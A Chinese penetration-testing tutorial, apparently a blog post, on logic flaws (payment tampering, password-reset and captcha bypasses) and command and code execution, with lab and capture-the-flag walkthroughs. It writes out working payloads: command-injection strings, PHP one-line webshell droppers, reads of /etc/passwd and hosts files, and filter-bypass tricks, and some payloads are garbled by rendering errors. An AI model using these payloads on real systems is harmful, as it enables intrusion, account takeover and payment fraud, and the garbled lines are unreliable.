渗透测试之逻辑漏洞

文章目录

一、支付漏洞

那么这个修改价格具体是修改哪一步时的价格呢?在我看来,你可以在这三个步骤当中的随便一个步骤进行修改价格测试,如果前面两步有验证机制,那么你可在最后一步付款时进行抓包尝试修改金额,如果没有在最后一步做好检验

存在可修改订单状态的接口,比如确认收货接口,确认收货以后订单状态会变成"已完成"。

有如下接口/setorderstatus?orderid=1093&orderstatus=3

1.修改附属值

修改优惠劵金额

修改积分

修改运费金额

修改服务费金额

2.多重替换支付

首先去产生两个订单,这两个订单商品是不一样的,其价格不一样,如果服务端没有做好这相关的验证,那么在支付的过程当中抓包,修改其订单值为另一个订单值,最后支付,这时就可以用订单一的支付价格买到订单二的商品。

3.重复支付

比如订单支付会返现,或者返积分。重复调用支付成功回调的接口,可实现多次返现,或多次返积分。

4.最小额支付

这个问题如果你在充值时进行修改其支付金额为负数或者0.01等是会显示支付失败的,但是如果你修改其金额为1.00,那么支付就会成功。

5.最大值支付

利用整数溢出,将购买量改成99999999999999999999999999999999,这样支付金额可能会变成0。或者修改附属值,如优惠卷,积分等为999999999, 如果这里逻辑设计有问题,那么其支付金额会变为0。

6.越权支付

可以修改这个用户ID为其它用户ID,达到用其他用户的账号进行支付你的商品

7.无限制试用

在支付的时候它URL后面的支付接口是3,而试用接口是4,那么此时你已经 使用过了,复制下确认试用时的URL,修改后面的支付接口为3,那么此时就会调用 购买支付接口,但是由于你本身这个产品就是试用的,其相应值绑定了这个试用商 品,那么金额就肯定是0,那么最后点击支付,你就可以看到支付成功,试用成功, 又重复试用了一次,然后他们的试用时间会累加在一起,这就导致了可无限制购买任何产品了

8.多线程并发

并发请求:用户A在一个网站上提款,同步发送了多个提款请求,后台显示多条提款请求,审核了然后顺利的提到了几倍的bounty

处理速度的问题,数据库的处理速度跟不上用户的请求速度,就有可能存在这样的漏洞。

9.支付漏洞思路

二、密码找回漏洞

1.本地验证绕过

客户端在本地进行验证码是否正确的判断,而该判断结果也可以在本地修改,

最终导致欺骗客户端,误以为我们已经输入了正确的验证码。

例如将返回包中的0修改为1即可绕过验证。

2.利用session重新绑定客户

重置密码最后一步是通过session获取用户名,然后再重置。

而用户名是在重置密码第一步时与session进行绑定,那么如果重置密码的最后一步程序并没有验证该用户是够走完了验证流程,

那么就可以通过重新绑定session为其他账号从而达到任意密码重置目的。

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0114804.html

3.去掉验证参数绕过

邮件系统取回密码功能设计逻辑错误,存在认证绕过漏洞,

通过抓取数据包可通过修改报文,将找回问题答案参数删除后,直接进行对密码更改。

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-088927.html

4.总结

1、测试业务的时候,了解清楚业务的整体流程,可以利用思维导图快速清理各个业务之间的关系

2、重点关注的业务:个人(他人)信息、密码修改(找回)、支付流程、注册流程、需要手机、邮箱验证的业务。

3、对每个业务模块进行抓包,分析其中各种请求,注意特殊参数,很有可能就是这些特殊参数决定了业务步骤。 4、抓包重放的过程需要多次实验,判断是否可以跳过(绕过),如何跳过(绕过),纯数字可以用数字+字母`尝试绕过

5、返回包中数据的分析~关注特殊字符串和特殊参数,还有JS文件('JS中可能会存在信息泄漏)。

6、综上所述,业务流程需同时结合'HTTP/HTTPS"请求分析,重点可以关注那些具有代表性的参数,绕过必要验证,跳过业务步骤。

三、短信验证码绕过

1.短信验证码生命期限内可暴力枚举

只限于数字验证码

2.短信验证码在数据包中返回

可以直接在response中获取到短信验证码

比如有 post 数据包:mobile=18888888888&userid=00001, Cookie中有:codetype=1

在特定步骤,修改 mobile=自己的手机号,自己手机就可以收到别人的验证码,后面再用

别人的手机号和接收到的验证码登录;

修改 Cookie 中可疑的参数和值,进行绕过,比如上面修改 codetype=0;

4.修改返回包绕过

举个简单的例子:提交错误的短信验证码,返回包中有: status=false,用 Burpsuite 的 "Do

intercept" 功能修改为 status=true,即可绕过前端判断,成功进入系统。具体还要结合实际的场景,灵活操作。

5.攻破短信验证码接口

a:有些网站会遗留短信验证码测试页面,比如/smstest.html等,如果能找到并且还可以正常使用。

b:一般系统的短信验证码功能,都会有个接口平台可以获取到手机接收到的所有短信,找到并攻 破也能进入系统。

6.默认万能验证码

之前遇到过短信验证码输入9999,就可以登录任意用户账号的漏洞。为了方便测试以及维护,有的系统会留有万能验证码,上线后还保留着。可能是固定的写在配置文件、js文件或代码中,也可能是随时间变化的。

找回密码

前端加密,可破解,或者根本就不是加密。

比如如下案例,找回密码,得到一个token:

/resetpwd?token=eyJ1c2VybmFtZSI6InpoYW5nZiJ9

Token实际上就是将username编码了一下,修改username即可修改其他用户的密码

7.几种爆破绕过

a.超长字符串

输入超长字符串可能会导致系统拒绝服务或绕过某些限制。

b.特殊符号

曾经遇到过一个案例,密码框输入><就可以登录任意用户账号。

c.整数溢出。

利用整数溢出,精度丢失等,可能导致支付漏洞。

四、验证安全

1.图形验证码绕过

a.图形验证码不刷新或无效

手工尝试一次登录后,在某一时间段内无论登录失败多少次,只要不刷新页面 Session 不过期,就可以无限次的使用同一个验证码来对一个或多个用户帐号进行暴力猜解。

b.图形验证码值可直接获取

验证码通常会被隐藏在网站的源码中或者在请求的 Cookie 中,或在 response 数据包中返回

c.图形验证码参数绕过

登录请求包数据: user=admin&pass=1234&vcode=brln

可尝试如下两种绕过方法:

i:验证码空值绕过

改成user=admin&pass=1234&vcode=

ii:直接删除验证码参数,改成 user=admin&pass=1234

登录请求包数据: user=admin&pass=1234&needcode=1&vcode=brln 可尝试将needcode参数的值改成0

2.存在无验证码页面

3.万能验证码

渗透测试的过程中,有时候会出现这种情况,系统存在一个万能验证码,如0000、9999,

只要输入万能验证码,就可以无视验证码进行暴力破解。

4.验证码数量有限

多见于计算类型的验证码,如 1+2=?,这种类型的验证码严格意义上来说不能叫做验证码,多刷新几次验证码,我们可能会发现系统中的算数题目只有那么几道,这种情况下只要将验证码全部下载下来,生成一个 md5 库,然后将前端生成的验证码与本地文件进行对比即可。

5.简单验证码识别

在平常的漏洞挖掘过程中,如果我们发现登录的验证码非常简单且易于识别,那我们就可以尝试

使用自动化工具来进行登录破解了,如 PKAV 的 HTTP Fuzzer、bp插件等。

https://blog.csdn.net/weixin_40412037/

article/details/105561166

6.验证码复用

当你打开常见的一些需要登录之类的系统,通常系统会自动请求一次验证码,抓包,抓住别放,保持Session不变。

五、命令执行

1.RCE定义

RCE:远程命令执行或者代码执行,因为RCE这个词的滥用,RCE的范围比较广,只要渗透的最终情况可以实现执行命令或者是代码都属于RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE

2.常见的命令执行函数

PHP:exec、shell_exec、system、passthru、popen、proc_open等

ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等

Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等

1) exec

返回值:命令执行结果的最后一行内容,失败时返回 false

https://www.php.net/manual/zh/function.exec.php

php 复制代码
<?php
highlight_file(__FILE__); 
// 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 命令的系统上)
$output=null;
$retval=null;
exec('whoami', $output, $retval);
exec('chcp 65001&ipconfig', $output, $retval);
echo "Returned with status $retval and output:\n";
print_r($output);
?>

2)system

该函数会把执行结果输出,并把输出结果的作为字符串返回。

如果 PHP 运行在服务器模块中,system() 函数还会尝试在每行输出完毕之后,自动刷新 web 服务器的输出缓存如果执行失败则返回false

php 复制代码
<?php
highlight_file(__FILE__); 
system('chcp 65001&ipconfig');
?>


//highlight_file() 函数以字符串形式返回 突出显示的代码,成功返回true,否则返回false。

3)passthru

执行外部程序并且显示原始输出

执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数

php 复制代码
<?php
highlight_file(__FILE__);
passthru('whoami');
?>

4)shell_exec

通过 shell 执行命令并将完整的输出以字符串的方式返回

php 复制代码
<?php
highlight_file(__FILE__);
var_dump(shell_exec('ipconfig'));  
?>

5)反引号 `

shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体

php 复制代码
<?php
highlight_file(__FILE__);
$a = 'whoami';
echo `$a`;
?>

6)popen

popen()、proc_open()函数不会直接返回执行结果,而是返回一个文件指针(通过文件指针就可对它所指的文件进行各种操作),命令是已经执行了

php 复制代码
<?php popen('whoami >>D:/2.txt','r'); ?>

3.管道符号

|前面可真可假

||------1||2,先运行第一个命令,只有在符号||前面的命令1未能运行成功时,才运行符号||后面的命令2。

&或&&前面必须为真才会执行后面的

4.常用的命令

Windows

dir----查看文件目录

ipconfig----查看Windows的IP地址

arp -a----查看ARP缓存表

calc----在命令行打开计算器

regedit----打开注册表

netstat -ano----查看开放的端口信息

Linux

cat /etc/passwd----查看passwd文件

id----查看该用户的ID号

groups----查看用户所属的组

cat /etc/group----查看组信息

whoami----查看当前用户

pwd----查看当前路径

uname -a----查看主机信息

cat /etc/issue----查看主机的配置信息

netstat -pantu----查看开放的端口信息

netstat -nr----查看路由信息

5.命令执行危害-getshell

1)直接获取webshell

例如可以写入一句话木马:

?cmd=echo "<?php @eval($_REQUEST[123]); ?>" > D:\phpstudy\PHPTutorial\WWW\webshell.php

2)显示当前路径

例如可以提交参数 ?cmd=cd 来查看当前路径。

3)读文件

例如:?cmd=type c:\windows\system32\drivers\etc\hosts,来查看系统hosts文件。

4)写文件

例如可以提交参数 ?cmd=echo "<?php phpinfo(); ?>" > D:\shell.php

6.pikachu靶场任务

1)查看当前用户

127.0.0.1&whoami

2)查看当前路径

127.0.0.1&cd

3)查看C盘下的文件

127.0.0.1&type c:\1.txt

127.0.0.1& type c:\windows\system32\drivers\etc\hosts

4)写入一句话木马、用菜刀或者蚁剑连接成功

127.0.0.1&echo ^<?php eval(KaTeX parse error: Expected 'EOF', got '&' at position 36: ...?^> > 127.0.0.1&̲echo ^<?php eva..._REQUEST['admin']); ?^> > C:\phpstudy_pro\WWW\pikachu\webshell.php

7.CTF靶场任务

https://www.ctfhub.com/#/skilltree

1)eval执行

eval执行,可以先判断下是Windows操作系统还是linux

ipconfig和ifconfig

2)命令执行

/?cmd=system('ifconfig');

ls查看目录中的文件

/?cmd=system('ls');

列出根目录()下的所有目录:

/?cmd=system('ls /');

发现可疑文件 flag_8213 直接使用cat命令查看

/?cmd=system('cat /flag_8213');得到flag

3)文件包含

4)php://input

5)远程包含

6)burp system+cat读取源代码

7)过滤cat

8)单引号绕过

127.0.0.1;c''at flag_21869419023310.php|base64

9)双引号绕过

127.0.0.1;c""at flag_21869419023310.php|base64

10)特殊符号绕过

127.0.0.1;ca$@t flag_21869419023310.php|base64

1;2|3

此处;表示执行完1再执行2的意思,1可以随意,|表示执行完2再执行3,3只对2的结果执行,2必须执行成功才能执行3

11)绕过空格

1;cat<flag_28844345117053.php|base64

1;cat$IFS 9 f l a g 2 8844345117053. p h p ∣ b a s e 641 ; c a t 9flag_28844345117053.php|base64 1;cat 9flag28844345117053.php∣base641;cat{IFS}flag_28844345117053.php|base64

12)过滤目录分隔符

1;ls flag_is_here

1;cd flag_is_here;cat flag_8154254575089.php|base64

13)过滤|逻辑符号

14)综合练习

%0a替代;

在Windows和Linux中都支持用 "" 号模糊查询
1%0acd I F S f ∗ a g i s h e r e {IFS}f*ag_is_here%0als%0aca''t IFSf∗agishere{IFS}f
ag_7220223731263.php

六、代码执行

1.定义

应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。远程代码执行实际上就是调用服务器网站代码进行执行

2.相关函数

PHP:eval、assert

Javascript:eval

Vbscript: Execute、Eval

Python:exec

1)eval

将字符串当做函数进行执行,需要传入一个完整的语句必须以分号 ; 结尾,最常用的函数
<?php eval('echo "hello";'); ?>

2)assert

判断是否为字符串是则当成代码执行,在php7.0.29之后的版本不支持动态调用

低版本
<?php assert($_POST['a']); ?>

7.0.29之后
<?php $a = 'assert'; $a(phpinfo()); ?>

3)callback函数

preg_replace + /e模式

3.pikachu靶场任务

fputs(fopen('shell.php','w'),'<?php eval($_POST[fname]);?>');

fputs(fopen('shell1.php','w'),'<?php code=_GET[x];echo system($code);?>');

fputs(fopen('shell2.php','w'),'<?php code=_GET[x];eval($code);?>');

4.代码执行-漏洞防御

代码执行的防御分为三个方面 参数 , 函数 和 权限

禁用或减少使用执行代码的函数

对于必须使用eval的地方,一定严格处理用户数据

使用addslashess()函数将参数转译,或使用黑白名单校验

限制Web用户的权限

升级插件、框架新版本

相关推荐
soulteary4 分钟前
突破内存限制:Mac Mini M2 服务器化实践指南
运维·服务器·redis·macos·arm·pika
天天扭码8 分钟前
五天SpringCloud计划——DAY2之单体架构和微服务架构的选择和转换原则
java·spring cloud·微服务·架构
程序猿进阶8 分钟前
堆外内存泄露排查经历
java·jvm·后端·面试·性能优化·oom·内存泄露
FIN技术铺13 分钟前
Spring Boot框架Starter组件整理
java·spring boot·后端
小曲程序20 分钟前
vue3 封装request请求
java·前端·typescript·vue
爱吃青椒不爱吃西红柿‍️32 分钟前
华为ASP与CSP是什么?
服务器·前端·数据库
陈王卜38 分钟前
django+boostrap实现发布博客权限控制
java·前端·django
小码的头发丝、38 分钟前
Spring Boot 注解
java·spring boot
java亮小白199743 分钟前
Spring循环依赖如何解决的?
java·后端·spring
飞滕人生TYF1 小时前
java Queue 详解
java·队列